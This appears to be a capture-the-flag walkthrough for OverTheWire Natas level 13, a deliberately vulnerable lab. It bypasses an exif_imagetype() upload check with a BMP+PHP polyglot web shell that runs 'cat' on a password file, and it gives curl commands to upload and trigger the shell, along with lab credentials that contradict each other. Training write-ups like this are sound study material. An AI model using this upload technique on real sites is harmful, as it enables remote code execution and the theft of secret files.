OverTheWire Natas Level 12 → 13 tutorial!!
Login
URL: http://natas13.natas.labs.overthewire.org
Credentials: natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
# Using curl (optional):
curl -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC http://natas13.natas.labs.overthewire.org/
Task
This level is another file upload challenge, but now the server verifies that the uploaded file is an image using exif_imagetype()
.
A little bit of Theory
From the source:
if (array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err = $_FILES['uploadedfile']['error'];
if ($err) {
if ($err === 2) echo "The uploaded file exceeds MAX_FILE_SIZE";
else echo "Something went wrong :/";
} else if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
}
}
}
Key points:
- The extension is still controlled by the hidden
filename
field (like Level 12). - The server accepts only images based on magic bytes (
exif_imagetype()
reads the first bytes). - We can prepend real image magic bytes to our PHP code to pass the image check, while still executing as PHP when saved with
.php
.
BMP magic bytes are simply BM
. That’s the easiest header to prepend.
Solution (no Burp, curl-only)
-
Create a tiny BMP+PHP “polyglot”
Prepend
BM
(no newline) to valid PHP that prints the next password:BM<?php echo system("cat /etc/natas_webpass/natas14"); ?>
Save as
shell13.php
. Keep it under 1000 bytes. -
Upload with curl (force .php extension)
curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \ -F "MAX_FILE_SIZE=1000" \ -F "filename=shell.php" \ -F "uploadedfile=@shell13.php" \ http://natas13.natas.labs.overthewire.org/index.php
The server responds with a link such as:
The file <a href="upload/98myk053xn.php">upload/98myk053xn.php</a> has been uploaded
-
Execute the uploaded script
curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \ "http://natas13.natas.labs.overthewire.org/upload/98myk053xn.php"
The output contains the next level’s password (you may see
BM
at the start—ignore it).
Password
z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
Troubleshooting
- “File is not an image” → Make sure the file starts with
BM
(no newline/space before it). - Saved with
.jpg
→ You forgot to override the hiddenfilename
to a.php
extension in your form data. - File too big → Keep the payload < 1000 bytes.
- 404 on upload path → Use the exact random path returned by the server.
Great job 🎉 You bypassed exif_imagetype()
by crafting a BMP+PHP polyglot and executed your own code to exfiltrate the next password. On to natas14!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨